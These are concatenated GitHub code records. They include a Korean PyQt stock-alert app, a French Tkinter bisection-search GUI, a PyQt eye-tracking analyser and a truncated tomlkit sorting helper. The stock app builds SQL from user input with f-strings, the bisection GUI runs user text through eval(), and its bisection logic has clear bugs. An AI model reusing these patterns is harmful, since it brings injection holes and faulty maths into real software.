main()\n\n","repo_name":"ohmygodarchie/csci5105_p3_py","sub_path":"tracker.py","file_name":"tracker.py","file_ext":"py","file_size_in_byte":7185,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"32793611788","text":"from matplotlib.backends.backend_qt5agg import FigureCanvas as FigureCanvas\r\nfrom matplotlib.figure import Figure\r\nfrom Base import DB, PATH, Pandas\r\nimport pandas as pd\r\nfrom PyQt5.QtWidgets import *\r\nfrom PyQt5.QtCore import *\r\nfrom PyQt5 import uic\r\nfrom win10toast import ToastNotifier\r\nfrom Widget import WidgetClass\r\nfrom datetime import datetime, timedelta\r\n\r\n\r\n#--------------------------------------------------------------------------\r\n# Main UI Path 지정\r\nform = PATH.resource_path('Main.ui')\r\nMain_form = uic.loadUiType(form)[0]\r\n \r\n#--------------------------------------------------------------------------\r\n# Main Window ui\r\nclass WindowClass(QMainWindow, Main_form):\r\n def __init__(self): \r\n super( ).__init__( )\r\n self.setupUi(self)\r\n self.setWindowTitle(\"업무자동화 프로그램\")\r\n self.Pd = Pandas()\r\n\r\n self.make_widget()\r\n # PlusButton 클릭 이벤트 연결\r\n self.PlusButton.clicked.connect(self.btn_click_plus)\r\n self.RefreshButton.clicked.connect(self.make_widget)\r\n self.ExcelButton.clicked.connect(self.btn_click_excel)\r\n\r\n # QTimer timeout 이벤트 연결\r\n self.timer = QTimer(self)\r\n self.timer.start(10000) #10sec 마다 반복\r\n self.timer.timeout.connect(self.check_price)\r\n \r\n\r\n#--------------------------------------------------------------------------\r\n# 위젯 생성 함수\r\n def make_widget(self):\r\n # 사용자가 선택한 종목을 기반으로 widget 생성\r\n self.Pd = Pandas()\r\n list = self.Pd.list_return()\r\n\r\n # Main 스크롤에 widget 추가\r\n # SALayout 변수 생성 -> Main의 scrolAreaLayout 지정\r\n SALayout = self.scrollAreaLayout\r\n\r\n for i in reversed(range(SALayout.count())): \r\n SALayout.itemAt(i).widget().setParent(None)\r\n\r\n for text in list:\r\n wid = WidgetClass(text)\r\n SALayout.addWidget(wid)\r\n\r\n#--------------------------------------------------------------------------\r\n# 목표시세 도달 확인 함수\r\n def check_price(self):\r\n db = DB()\r\n cursor = db.GetCursor()\r\n cursor.execute('use kis_api')\r\n\r\n price_list = []\r\n SALayout = self.scrollAreaLayout\r\n for i in range(SALayout.count()): \r\n price_ = SALayout.itemAt(i).widget().target_price_\r\n name_ = SALayout.itemAt(i).widget().stock_name\r\n price_list.append({name_:price_})\r\n\r\n select = f'SELECT datetime,{name_} FROM kis_api.price order by datetime desc;'\r\n cursor.execute(select)\r\n data = cursor.fetchone()\r\n if price_<=data[name_]:\r\n self.toast(name_)\r\n \r\n#-------------------------------------------------------------------------- \r\n# 기타 함수\r\n\r\n # 윈도우 알림 함수\r\n def toast(self, stock_name):\r\n toaster = ToastNotifier()\r\n toaster.show_toast(f'{stock_name} 목표 시세 도달', icon_path=None,duration=5,threaded=True)\r\n\r\n # plus 버튼 클릭 이벤트 함수\r\n def btn_click_plus(self):\r\n # 사용자가 입력한 text를 읽어옴\r\n text = self.SerchLine.text()\r\n self.Pd.append(text)\r\n self.make_widget()\r\n\r\n # 엑셀 변환 버튼 클릭 이벤트 함수\r\n def btn_click_excel(self):\r\n # DB연���\r\n db = DB()\r\n cursor = db.GetCursor()\r\n date = datetime.now().strftime('%Y%m%d_%H%M%S')\r\n \r\n # 선택한 종목 Excel로 변환\r\n stock_name_list = self.Pd.list_return()\r\n for name in stock_name_list:\r\n # 오늘 시세\r\n if datetime.now().strftime('%H%M%S')<'090000':\r\n time_s = (datetime.now() - timedelta(days=1)).strftime('%Y-%m-%d 09:00:00')\r\n time_e = (datetime.now() - timedelta(days=1)).strftime('%Y-%m-%d 15:30:00')\r\n else:\r\n time_s = datetime.now().strftime('%Y-%m-%d 09:00:00')\r\n time_e = datetime.now().strftime('%Y-%m-%d 15:30:00')\r\n select = f'SELECT datetime,{name} FROM kis_api.price where datetime between \"{time_s}\" AND \"{time_e}\" order by datetime desc;'\r\n cursor.execute(select)\r\n price = cursor.fetchall()\r\n price = pd.DataFrame(price)\r\n\r\n # 월봉\r\n select = f'SELECT date,{name} FROM kis_api.price_month order by date;'\r\n cursor.execute(select)\r\n price_m = cursor.fetchall()\r\n price_m = pd.DataFrame(price_m)\r\n\r\n # 뉴스\r\n time_s = (datetime.now() - timedelta(days=7))\r\n time_s = time_s.strftime('%Y-%m-%d %H:%M:%S')\r\n time_e = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\r\n select = f'SELECT * FROM news_research.news where datetime between \"{time_s}\" AND \"{time_e}\" AND name=\"{name}\" order by datetime desc;'\r\n cursor.execute(select)\r\n news = cursor.fetchall()\r\n news = pd.DataFrame(news)\r\n\r\n # 리서치\r\n select = f'SELECT * FROM news_research.research where (datetime between \"{time_s}\" AND \"{time_e}\") AND (name=\"{name}\" OR ISNULL(name)) order by datetime desc;'\r\n cursor.execute(select)\r\n research = cursor.fetchall()\r\n research = pd.DataFrame(research)\r\n\r\n # 공시\r\n time_s = (datetime.now() - timedelta(days=50))\r\n time_s = time_s.strftime('%Y-%m-%d %H:%M:%S')\r\n time_e = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\r\n select = f'SELECT * FROM dart_api.public_notice where datetime between \"{time_s}\" AND \"{time_e}\" AND name=\"{name}\" order by datetime desc;'\r\n cursor.execute(select)\r\n pnotice = cursor.fetchall()\r\n pnotice = pd.DataFrame(pnotice)\r\n\r\n # 파일 이름 지정\r\n file_name = f'{name}_{date}.xlsx'\r\n # Excel 변환\r\n with pd.ExcelWriter(file_name) as writer:\r\n price.to_excel(writer, sheet_name = '시세')\r\n price_m.to_excel(writer, sheet_name = '월봉')\r\n news.to_excel(writer, sheet_name = '기사')\r\n research.to_excel(writer, sheet_name = '리서치')\r\n pnotice.to_excel(writer, sheet_name = '공시')\r\n","repo_name":"wnso-kim/Robotic-Process-Automation-PB","sub_path":"Front-End/Main_Widget.py","file_name":"Main_Widget.py","file_ext":"py","file_size_in_byte":6350,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"21050941265","text":"from tkinter import*\r\nfrom tkinter import ttk\r\nimport tkinter.messagebox as MessageBox\r\nimport numpy as np\r\nfrom scipy import misc \r\nimport matplotlib.pyplot as plt\r\n\r\nfrom matplotlib.backends.backend_tkagg import (FigureCanvasTkAgg, NavigationToolbar2Tk)\r\n\r\nfrom matplotlib.backend_bases import key_press_handler\r\n\r\nfrom matplotlib.figure import Figure\r\n\r\n\r\nclass Bissection :\r\n def __init__(self,fenetre1):\r\n self.fenetre1=fenetre1\r\n #-----------le titre--------------------------------------------------#\r\n self.fenetre1.title(\"Bissection Search\")\r\n #-----------------la geometrerde la fenetre---------------------------#\r\n self.fenetre1.geometry(\"1000x720+150+50\")\r\n #-----------------le coleure de bag-----------------------------------#\r\n self.fenetre1.config(bg=\"#BAC7CF\") \r\n #-----------bloquer le redimentionnement de la fenetre----------------# \r\n self.fenetre1.resizable(width=False, height=False)\r\n #--------------logo de l'application----------------------------------#\r\n self.fenetre1.iconbitmap(\"images/logoimag.ico\")\r\n \r\n #==============framprincipale =======================================#\r\n framprincipale=Frame( self.fenetre1, bg=\"#BAC7CF\", highlightbackground=\"green\",highlightthickness=2)\r\n framprincipale.place(x=45,y=40,height=660,width=900)\r\n #===============title=================================================#\r\n title = Label( self.fenetre1,text=\"Bissection Search\",font=(\"Comic Sans MS\", 17,\"bold\"), bg=\"#BAC7CF\",fg=\"green\").place(x=380,y=5)\r\n \r\n #----------------les entrer de l'algorithme---------------------------#\r\n entrer1 = Label(framprincipale,text=\"Input { \",font=(\"Comic Sans MS\", 15,\"bold\"), bg=\"#BAC7CF\",fg=\"#182350\").place(x=10,y=10)\r\n \r\n #=================l'intervale ========================================#\r\n intervale1 = Label(framprincipale,text=\"The interval [a , b] :\",font=(\"Comic Sans MS\", 15,\"bold\"),bg=\"#BAC7CF\").place(x=110,y=20)\r\n \r\n #================vale de a ===========================================#\r\n valeurA = Label(framprincipale,text=\" a :\",font=(\"Comic Sans MS\", 15,\"bold\"),bg=\"#BAC7CF\").place(x=400,y=20)\r\n self.txtValeur_A = Entry(framprincipale,font=(\"times new romman\",15,\"bold\"), bg=\"lightgray\",fg=\"#182350\")\r\n self.txtValeur_A.place(x=440,y=23,width=160)\r\n \r\n #================la valeure de b =====================================#\r\n valeurdeB = Label(framprincipale,text=\" b :\",font=(\"Comic Sans MS\", 15,\"bold\"),bg=\"#BAC7CF\").place(x=630,y=20)\r\n self.txtValeur_B = Entry(framprincipale,font=(\"times new romman\",15,\"bold\"), bg=\"lightgray\",fg=\"#182350\")\r\n self.txtValeur_B.place(x=675,y=23,width=160)\r\n \r\n #===================la fonction22tion=================================#\r\n fonction22 = Label(framprincipale,text=\"Function : \",font=(\"Comic Sans MS\", 16,\"bold\"),bg=\"#BAC7CF\").place(x=110,y=80)\r\n fonction22F1 = Label(framprincipale,text=\"f(x) =\",font=(\"Comic Sans MS\", 16,\"bold\"),bg=\"#BAC7CF\").place(x=360,y=80)\r\n self.txt_fonction = Entry(framprincipale,font=(\"times new romman\", 17,\"bold\"), bg=\"lightgray\",fg=\"#182350\")\r\n self.txt_fonction.place(x=440,y=83,width=397 )\r\n \r\n #================la tolérence =======================================#\r\n delta1 = Label(framprincipale,text=\"Tolerance :\",font=(\"Comic Sans MS\", 15,\"bold\"),bg=\"#BAC7CF\").place(x=110,y=140)\r\n delTTa1 = Label(framprincipale,text=\"delta =\",font=(\"Comic Sans MS\", 15,\"bold\"),bg=\"#BAC7CF\").place(x=360,y=140)\r\n self.deltaBissection = DoubleVar()\r\n self.txtdelta1 = Entry(framprincipale,font=(\"times new romman\", 15,\"bold\"), bg=\"lightgray\",fg=\"#182350\", textvariable=self.deltaBissection)\r\n self.deltaBissection.set(0.001)\r\n self.txtdelta1.place(x=440,y=143,width=160)\r\n \r\n #=================fermer l'accolade===================================#\r\n coladfer = Label(framprincipale,text=\" } Output :\",font=(\"Comic Sans MS\", 15,\"bold\"),bg=\"#BAC7CF\",fg=\"#182350\").place(x=10,y=200)\r\n \r\n #==============framprincipale =======================================#\r\n self.frame2=Frame( framprincipale,bg=\"#C4C6C6\" ,highlightbackground=\"#182350\",highlightthickness=3)\r\n self.frame2.place(x=10,y=245,height=400,width=875)\r\n \r\n #====================solution Bissection==============================#\r\n solution = Label(self.frame2,text=\"The interval [a , b] :\",font=(\"Comic Sans MS\",15,\"bold\"), bg=\"#C4C6C6\").place(x=10,y=10)\r\n #------------------ la valeur de la solution a [a,b]------------------#\r\n valeurAsol = Label(self.frame2,text=\" a :\",font=(\"Comic Sans MS\", 15,\"bold\"), bg=\"#C4C6C6\").place(x=250,y=10)\r\n self.varDeA = DoubleVar()\r\n self.txtAsolut = Entry(self.frame2,font=(\"Comic Sans MS\",15,\"bold\"), bg=\"lightgray\",fg=\"#182350\", textvariable=self.varDeA)\r\n self.varDeA.set(\"\")\r\n self.txtAsolut.place(x=290,y=13,width=250)\r\n \r\n \r\n #-------------------la valeur de la solution b [a,b] -----------------#\r\n valeurB_sol = Label(self.frame2,text=\" b:\",font=(\"Comic Sans MS\", 15,\"bold\"),bg=\"#C4C6C6\").place(x=547,y=10)\r\n self.varDeBsol = DoubleVar()\r\n self.txtvalsolB = Entry(self.frame2,font=(\"Comic Sans MS\",15,\"bold\"), bg=\"lightgray\",fg=\"#182350\", textvariable=self.varDeBsol)\r\n self.varDeBsol.set(\"\")\r\n self.txtvalsolB.place(x=583,y=13,width=250) \r\n\r\n \r\n #---------------la valeur exacte de la solution si l'algorithme arive a calculer x*--------------------------------#\r\n val_solution_exact = Label(self.frame2,text=\"The solution :\",font=(\"Comic Sans MS\", 15,\"bold\"),bg=\"#C4C6C6\").place(x=10,y=70)\r\n #-----------------------------------------------x*-----------------------------------------------------------------#\r\n val_x_sol = Label(self.frame2,text=\" x*:\",font=(\"Comic Sans MS\", 15,\"bold\"), bg=\"#C4C6C6\").place(x=247,y=70)\r\n self.varsolBissect = DoubleVar()\r\n self.txtSolExac = Entry(self.frame2,font=(\"Comic Sans MS\",15,\"bold\"), bg=\"lightgray\",fg=\"green\", textvariable=self.varsolBissect)\r\n self.varsolBissect.set(\"\")\r\n self.txtSolExac.place(x=290, y=73, width=250)\r\n \r\n #--------------------------------val des nomber des itoration i Bissection----------------------------------------#\r\n nbr_itera_max = Label(self.frame2,text=\"Number of iterations:\",font=(\"Comic Sans MS\", 15,\"bold\"), bg=\"#C4C6C6\").place(x=10,y=140)\r\n val_itera_bissec = Label(self.frame2,text=\" i :\",font=(\"Comic Sans MS\", 15,\"bold\"), bg=\"#C4C6C6\").place(x=250,y=140)\r\n self.varbissecitir = IntVar()\r\n self.txt_itera_bissect = Entry(self.frame2,font=(\"Comic Sans MS\",15,\"bold\"), bg=\"lightgray\",fg=\"red\", textvariable=self.varbissecitir)\r\n self.varbissecitir.set(\"\")\r\n self.txt_itera_bissect.place(x=290,y=143,width=250)\r\n \r\n #---------------------------------------interprétation---------------------------------------------------------------#\r\n nbr_iterpre = Label(self.frame2,text=\"Interpretation :\",font=(\"Comic Sans MS\", 15,\"bold\"), bg=\"#C4C6C6\").place(x=10,y=210)\r\n self.var_iterpreBissec = StringVar()\r\n self.txtiterpretatBissec = Entry(self.frame2,font=(\"Comic Sans MS\", 15,\"bold\"), bg=\"lightgray\",fg=\"#182350\", textvariable=self.var_iterpreBissec)\r\n self.txtiterpretatBissec.place(x=290,y=213,width=545)\r\n \r\n \r\n #============================================================ Bouton Bissection ========================================================================================================#\r\n Bissection_boutton = Button(self.frame2,font=(\"times new romman\",16,\"bold\"),text=\" Bissection \",bd=0,cursor=\"hand2\",bg=\"#0575B0\",fg=\"#E5E1D6\",activebackground =\"#CAE5E4\",activeforeground=\"#0F5A7D\",borderwidth = 5, command=self.Bissection).place(x=320 ,y=330,width=240)\r\n \r\n #============================================================ Bouton Accueil ========================================================================================================#\r\n Accull= Button(self.frame2,font=(\"times new romman\",16,\"bold\"),text=\"Quit \",bd=0,cursor=\"hand2\",bg=\"#811000\",fg=\"#E5E1D6\",activebackground =\"#CAE5E4\",activeforeground=\"#E8A490\",borderwidth = 5, command=self.quiter).place(x=640 ,y=330,width=200)\r\n \r\n #============================================================ Bouton le graphe de la fonction ========================================================================================================#\r\n graphee= Button(self.frame2,font=(\"times new romman\",16,\"bold\"),text=\"graph of the fonction\",bd=0,cursor=\"hand2\",bg=\"#7B9764\",fg=\"#F9F2F1\",activebackground =\"#CDD3C8\",activeforeground=\"#BFF790\",borderwidth = 5, command=self.graphe_de_fonction).place(x=10 ,y=330,width=240)\r\n \r\n \r\n \r\n \r\n \r\n \r\n #-------------Pour quiter------------------------------------# \r\n def quiter(self):\r\n self.fenetre1.destroy()\r\n \r\n \r\n \r\n #----------------pour vider les comps----------------------------------------#\r\n def clearChamp(self):\r\n self.txtAsolut.delete(0, END)\r\n self.txtvalsolB.delete(0, END)\r\n self.txtSolExac.delete(0, END)\r\n self.txt_itera_bissect.delete(0, END)\r\n self.txtiterpretatBissec.delete(0, END)\r\n\r\n \r\n #------------------------Algoritheme de bissection---------------------------#\r\n def Bissection(self):\r\n self.clearChamp()\r\n val1 = self.txtValeur_A.get()\r\n val2 = self.txtValeur_B.get()\r\n delTTa1 = self.txtdelta1.get()\r\n fonction22t = self.txt_fonction.get()\r\n if(val1 ==\"\" or val2 ==\"\" or delTTa1 ==\"\" or fonction22t ==\"\"):\r\n MessageBox.showerror(\"Error\",\" Remplir tout les champs SVP !!\", parent=self.fenetre1)\r\n elif(val1 > val2):\r\n MessageBox.showerror(\"Error\",\"Intervale invalide !! \\n Sisair deux entier tel que a < b \", parent=self.fenetre1)\r\n else: \r\n try: \r\n A = float(val1)\r\n B = float(val2)\r\n delta1 = float(delTTa1)\r\n #itermax = int(imax)\r\n \r\n \r\n #----------evaluation de la fonction22tion --------------#\r\n def f(x):\r\n y = eval(fonction22t)\r\n return y \r\n #----------le graphe de f--------------------------------#\r\n plt.clf()\r\n y = np.linspace(A, B, 1000)\r\n plt.plot(y, f(y), label = \"La courbe de f(x) \")\r\n plt.title(\" Bissection \")\r\n plt.xlabel(\"Abscisses\")\r\n plt.ylabel(\"Ordonnees\") \r\n \r\n #-----------la calcule de dirivée de f en point a et b---# \r\n fprim_a = misc.derivative(f, A, dx=1.0, n=1, args=(), order=3) -1 \r\n fprim_b = misc.derivative(f, B, dx=1.0, n=1, args=(), order=3) - 1\r\n #----initialisation de deux var pour calculer le nomber des itiration \r\n j = 1243\r\n k=1101\r\n #----------------la condition de vérification------------#\r\n if( fprim_a < 0 and fprim_b > 0):\r\n plt.plot(A , f(A), 'r.')\r\n plt.plot(B , f(B), 'r.')\r\n #---------indice de nomber d'incrémentation ---------#\r\n i=1\r\n \r\n \r\n while( abs(A - B) > delta1):\r\n #-------- la valeur de c ----------------------------#\r\n C = (B + A)/2\r\n aprim = misc.derivative(f, A, dx=1.0, n=1, args=(), order=3) -1 \r\n bprim = misc.derivative(f, B, dx=1.0, n=1, args=(), order=3) -1\r\n if( aprim < 0 and bprim > 0):\r\n #-----------------la dérivé au point c :--------------------------------#\r\n fprimDec = misc.derivative(f, C, dx=1.0, n=1, args=(), order=3) -1\r\n if(fprimDec <= 0):\r\n if(fprimDec == 0):\r\n #----------------------- la calcule de f seconde de f en poit c -------------#\r\n fseconfDec = misc.derivative(f, C, dx=1.0, n=2, args=(), order=3)\r\n if(fseconfDec > 0):\r\n self.varsolBissect.set(C)\r\n self.varbissecitir.set(i)\r\n Texte = StringVar()\r\n mylabel = Label(self.frame2, font=(\"Comic Sans MS\", 15,\"bold\"), bg=\"lightgray\",fg=\"green\", textvariable=Texte).place(x=290,y=263,width=545)\r\n Texte.set('la solution '+ str(C) + ' est un minimum de la fonction f(x) ')\r\n plt.plot(C, f(C), 'g+')\r\n break\r\n elif(fseconfDec < 0):\r\n self.varsolBissect.set(C)\r\n self.varbissecitir.set(i)\r\n Texte = StringVar()\r\n mylabel = Label(self.frame2, font=(\"Comic Sans MS\", 15,\"bold\"), bg=\"lightgray\",fg=\"green\", textvariable=Texte).place(x=290,y=263,width=545)\r\n Texte.set('la solution '+ str(C) + ' est un maximum de la fonction f(x) ')\r\n plt.plot(C, f(C), 'g+')\r\n break \r\n else :\r\n self.var_iterpreBissec.set(\"Ona une Point d inflexion dans le point : \"+str(C))\r\n MessageBox.showinfo(\"Error\",\" Ona une Point d'inflexion !!\", parent=self.fenetre1)\r\n break\r\n else :\r\n plt.plot(A, f(A), 'r.')\r\n A = C\r\n j = A\r\n i+=1\r\n else : \r\n plt.plot(B, f(B), 'r.')\r\n B = C\r\n k = B\r\n i+=1\r\n \r\n \r\n \r\n elif(aprim > 0 and bprim < 0):\r\n C = (B + A)/2\r\n plt.plot(A , f(A), 'r.')\r\n plt.plot(B , f(B), 'r.')\r\n i=1\r\n if(fprimDec >= 0):\r\n if(fprimDec == 0):\r\n #----------------------- la calcule de f seconde de f en poit c -------------#\r\n fseconfDec = misc.derivative(f, C, dx=1.0, n=2, args=(), order=3)\r\n if(fseconfDec > 0):\r\n self.varsolBissect.set(C)\r\n self.varbissecitir.set(i)\r\n Texte = StringVar()\r\n mylabel = Label(self.frame2, font=(\"Comic Sans MS\", 15,\"bold\"), bg=\"lightgray\",fg=\"green\", textvariable=Texte).place(x=290,y=263,width=545)\r\n Texte.set('la solution '+ str(C) + ' est un minimum de la fonction f(x) ')\r\n plt.plot(C, f(C), 'g+')\r\n break\r\n elif(fseconfDec < 0):\r\n self.varsolBissect.set(C)\r\n self.varbissecitir.set(i)\r\n Texte = StringVar()\r\n mylabel = Label(self.frame2, font=(\"Comic Sans MS\", 15,\"bold\"), bg=\"lightgray\",fg=\"green\", textvariable=Texte).place(x=290,y=263,width=545)\r\n Texte.set('la solution '+ str(C) + ' est un maximum de la fonction f(x)')\r\n plt.plot(C, f(C), 'g+')\r\n break \r\n else :\r\n self.var_iterpreBissec.set(\"Ona une Point d inflexion dans le point : \"+str(C))\r\n MessageBox.showinfo(\"Error\",\" Ona une Point d'inflexion !!\", parent=self.fenetre1)\r\n break\r\n else :\r\n if(j== A and k==B):\r\n break\r\n else:\r\n plt.plot(A, f(A), 'r.')\r\n A = C\r\n j=A\r\n i+=1\r\n else :\r\n if(A==j and k == B): \r\n break\r\n else: \r\n plt.plot(B, f(B), 'r.')\r\n B = C\r\n k= B\r\n i+=1\r\n \r\n elif((aprim > 0 and bprim > 0)or(aprim < 0 and bprim < 0)) :\r\n quit()\r\n \r\n self.varDeA.set(A)\r\n self.varDeBsol.set(B)\r\n self.varbissecitir.set(i)\r\n self.var_iterpreBissec.set(\"la solution x* est dans l'intervale [\"+str(A) +\" , \"+ str(B) +\"]\")\r\n plt.plot(A, f(A), label=\"l'intervale [a, b] \")\r\n plt.plot(A, f(A), 'g+')\r\n plt.plot(B, f(B), 'g+')\r\n plt.legend()\r\n plt.show()\r\n else:\r\n MessageBox.showwarning(\"Error\",\"On ne peut pas Appliquer algorithme de Bissection sur cette fonction22tion dans ces deux points. par ce que ona f'(a)*f'(b) > 0 !!\",parent=self.fenetre1)\r\n self.var_iterpreBissec.set(\"Bissection ne fonction22tions pas car f'(a)*f'(b) > 0\")\r\n plt.clf()\r\n \r\n except Exception as es: \r\n MessageBox.showerror(\"Error\",f\" Error Due to : {str(es)} \", parent=self.fenetre1) \r\n \r\n \r\n\r\n #======================Le gghaphe de la fonction==========================# \r\n def graphe_de_fonction(self):\r\n val1 = self.txtValeur_A.get()\r\n val2 = self.txtValeur_B.get()\r\n fonc = self.txt_fonction.get()\r\n \r\n if(val1 ==\"\" or val2 ==\"\" or fonc ==\"\" ):\r\n MessageBox.showerror(\"Error\",\" Remplir tout les champs svp!\", parent=self.fenetre1)\r\n elif(val1 > val2):\r\n MessageBox.showerror(\"Error\",\"Intervale invalide !! \\n Sisair deux entier tel que a < b \", parent=self.fenetre1)\r\n else :\r\n try:\r\n a = float(val1)\r\n b = float(val2)\r\n \r\n def f(x):\r\n y = eval(fonc)\r\n return y \r\n \r\n root = Toplevel()\r\n root.wm_title(\" le Graphe de la fonction f \")\r\n fig = Figure(figsize=(5, 4), dpi=100)\r\n x = np.linspace(a, b, 1000)\r\n fig.add_subplot(111).plot(x, f(x))\r\n\r\n canvas = FigureCanvasTkAgg(fig, master=root)\r\n canvas.draw()\r\n canvas.get_tk_widget().pack(side=TOP, fill=BOTH, expand=1)\r\n\r\n toolbar = NavigationToolbar2Tk(canvas, root)\r\n toolbar.update()\r\n canvas.get_tk_widget().pack(side=TOP, fill=BOTH, expand=1)\r\n def on_key(event):\r\n print(\"you pressed{}\".format(event.key))\r\n key_press_handler(event, canvas,toolbar)\r\n \r\n\r\n canvas.mpl_connect(\"key_press_event\", on_key)\r\n root.mainloop() \r\n \r\n \r\n except Exception as es: \r\n MessageBox.showerror(\"Error\",f\" Error Due to : {str(es)} \", parent=self.fenetre1) \r\n \r\n \r\n\r\n# fenetre1=Tk()\r\n# obj=Bissection(fenetre1)\r\n# fenetre1.mainloop() \r\n \r\n \r\n \r\n\r\n","repo_name":"abdo-RG/Optimization","sub_path":"BissectionClasse.py","file_name":"BissectionClasse.py","file_ext":"py","file_size_in_byte":22189,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"36010459048","text":"from PyQt5.QtCore import QRect, QThreadPool\nfrom PyQt5.QtWidgets import QWidget, QPushButton, QProgressBar, QListView, QAbstractItemView, QLabel, QLineEdit\nfrom PyQt5.QtGui import QStandardItem, QStandardItemModel\nfrom analyser.AnalyseWorker import AnalyseWorker\nimport sys, glob, re\nfrom datetime import datetime\n\nsys.path.append('../../')\nimport __constants\n\ninput_folder = __constants.input_folder\n\nclass AnalyserWindow(QWidget):\n total = 0\n done = 0\n\n def __init__(self):\n super().__init__()\n\n self.initUI() # init the UI\n\n def initUI(self):\n self.setWindowTitle('Treyescan GP x AOI Analyser')\n\n self.resize(502, 278)\n\n self.fetchButton = QPushButton('Fetch files to analyse', self)\n self.fetchButton.setGeometry(QRect(20, 20, 181, 26))\n self.fetchButton.clicked.connect(self.fetchFilesToAnalyse)\n\n self.analyseButton = QPushButton('Start analysis', self)\n self.analyseButton.setGeometry(QRect(20, 50, 181, 26))\n self.analyseButton.clicked.connect(self.analyseFiles)\n\n self.progressBar = QProgressBar(self)\n self.progressBar.setGeometry(QRect(220, 20, 151, 23))\n self.progressBar.setValue(0)\n\n self.progressLabel = QLabel(self)\n self.progressLabel.setGeometry(QRect(381, 20, 201, 23))\n self.progressLabel.setText(\"(0/0) 0%\")\n\n self.threadsLabel = QLabel(self)\n self.threadsLabel.setGeometry(QRect(20, 100, 181, 20))\n self.threadsLabel.setText(\"Threads: 0\")\n\n self.startedLabel = QLabel(self)\n self.startedLabel.setGeometry(QRect(20, 120, 181, 20))\n self.startedLabel.setText(\"Started: not yet started\")\n\n self.finishedLabel = QLabel(self)\n self.finishedLabel.setGeometry(QRect(20, 140, 181, 20))\n self.finishedLabel.setText(\"Finished: not yet finished\")\n\n self.batchLabel = QLabel(self)\n self.batchLabel.setGeometry(QRect(20, 180, 181, 20))\n self.batchLabel.setText(\"Batch ID:\")\n\n self.batchIDInput = QLineEdit(self)\n self.batchIDInput.setGeometry(QRect(20, 210, 181, 20))\n\n self.listView = QListView(self)\n self.listView.setGeometry(QRect(220, 50, 256, 192))\n self.model = QStandardItemModel()\n self.listView.setModel(self.model)\n self.listView.setEditTriggers(QAbstractItemView.NoEditTriggers)\n\n self.show()\n\n def fetchFilesToAnalyse(self):\n participants_to_analyse = glob.glob(\n \"{}/*/*/*/gaze_positions_on_surface_Surface1WB.csv\".format(input_folder))\n \n self.total = len(participants_to_analyse)\n self.progressLabel.setText(f\"(0/{self.total}) 0%\")\n\n for i, file in enumerate(participants_to_analyse):\n regex = re.findall(\"(P-[0-9]..)\\/(T[0-9])\\/([a-zA-Z0-9]*)\", file)\n\n participant_id = regex[0][0]\n measurement_moment = regex[0][1]\n task_id = regex[0][2]\n \n item = QStandardItem(\"%s, %s, %s, %s\" % (i, participant_id, measurement_moment, task_id))\n\n self.model.appendRow(item)\n\n def analyseFiles(self):\n count = self.model.rowCount()\n\n if(count == 0):\n self.fetchFilesToAnalyse()\n \n count = self.model.rowCount()\n\n self.analyseButton.setDisabled(True)\n self.fetchButton.setDisabled(True)\n\n self.threadpool = QThreadPool()\n # self.threadpool.setMaxThreadCount(count)\n self.threadpool.setMaxThreadCount(8)\n print(\"Multithreading with maximum %d threads\" % self.threadpool.maxThreadCount())\n\n self.threadsLabel.setText(f\"Threads: {self.threadpool.maxThreadCount()}\")\n\n now = datetime.now()\n current_time = now.strftime(\"%H:%M:%S\")\n\n self.startedLabel.setText(f\"Started: {current_time}\")\n\n for i in range(count):\n index = self.model.index(i, 0)\n row = index.data(0)\n\n # Make a new worker for the file we fetched\n analyse_worker = AnalyseWorker(row, self.batchIDInput.text())\n analyse_worker.signals.started.connect(self.startedAnalysis)\n analyse_worker.signals.finished.connect(self.finishedAnalysis)\n analyse_worker.signals.error.connect(self.errorAnalysis)\n self.threadpool.start(analyse_worker)\n\n def startedAnalysis(self, row_id):\n index = self.model.index(int(row_id), 0)\n row = index.data(0)\n self.model.setData(index, f\"{row} 🕐\")\n\n def errorAnalysis(self, row_id):\n index = self.model.index(int(row_id), 0)\n row = index.data(0)\n self.model.setData(index, f\"{row} ❌\".replace(\"🕐\", \"\"))\n self.updateProgressIndicators()\n\n def finishedAnalysis(self, row_id):\n index = self.model.index(int(row_id), 0)\n row = index.data(0)\n self.model.setData(index, f\"{row} ✅\".replace(\"🕐\", \"\"))\n self.updateProgressIndicators()\n\n def updateProgressIndicators(self):\n self.done = self.done + 1\n percentage = round(self.done / self.total * 100)\n self.progressBar.setValue(percentage)\n\n self.progressLabel.setText(f\"({self.done}/{self.total}) {percentage}%\")\n\n if(percentage == 100):\n now = datetime.now()\n current_time = now.strftime(\"%H:%M:%S\")\n self.finishedLabel.setText(f\"Finished: {current_time}\")","repo_name":"treyescan/dynamic-aoi-toolkit","sub_path":"tools/hit-detection/analyser/AnalyserWindow.py","file_name":"AnalyserWindow.py","file_ext":"py","file_size_in_byte":5356,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"40696035403","text":"from __future__ import annotations\n\nimport sys\nfrom dataclasses import dataclass, field\nfrom typing import Any, Callable, Sequence\n\nfrom tomlkit.items import Array, Comment, Item, Key, String, Trivia, Whitespace\n\nif sys.version_info >= (3, 8): # pragma: no cover (py38+)\n from typing import Protocol\nelse: # pragma: no cover ( bool: # noqa: U101\n ...\n\n\nclass SupportsDunderGT(Protocol):\n def __gt__(self, __other: Any) -> bool: # noqa: U101\n ...\n\n\ndef order_keys(\n body: list[tuple[Key | None, Item]],\n to_pin: Sequence[str] | None = None,\n sort_key: None | Callable[[tuple[str, tuple[Key, Item]]], SupportsDunderLT | SupportsDunderGT] = None,\n) -> None:\n entries = {i.key: (i, v) for (i, v) in body if isinstance(i, Key)}\n body.clear()\n\n for pin in to_pin or []: # push pinned to start\n if pin in entries:\n body.append(entries[pin])\n del entries[pin]\n # append the rest\n if sort_key is None:\n body.extend(entries.values())\n else:\n body.extend(v for k, v in sorted(entries.items(), key=sort_key))\n body.append((None, Whitespace(\"\\n\"))) # add trailing newline to separate\n\n\n@dataclass\nclass ArrayEntries:\n text: String\n comments: list[Comment] = field(default_factory=list)\n\n\ndef sorted_array(\n array: Array | None, indent: int, key: Callable[[ArrayEntries], str] = lambda e: str(e.text).lower()\n) -> None:\n if array is None:\n return\n body = array._value\n\n 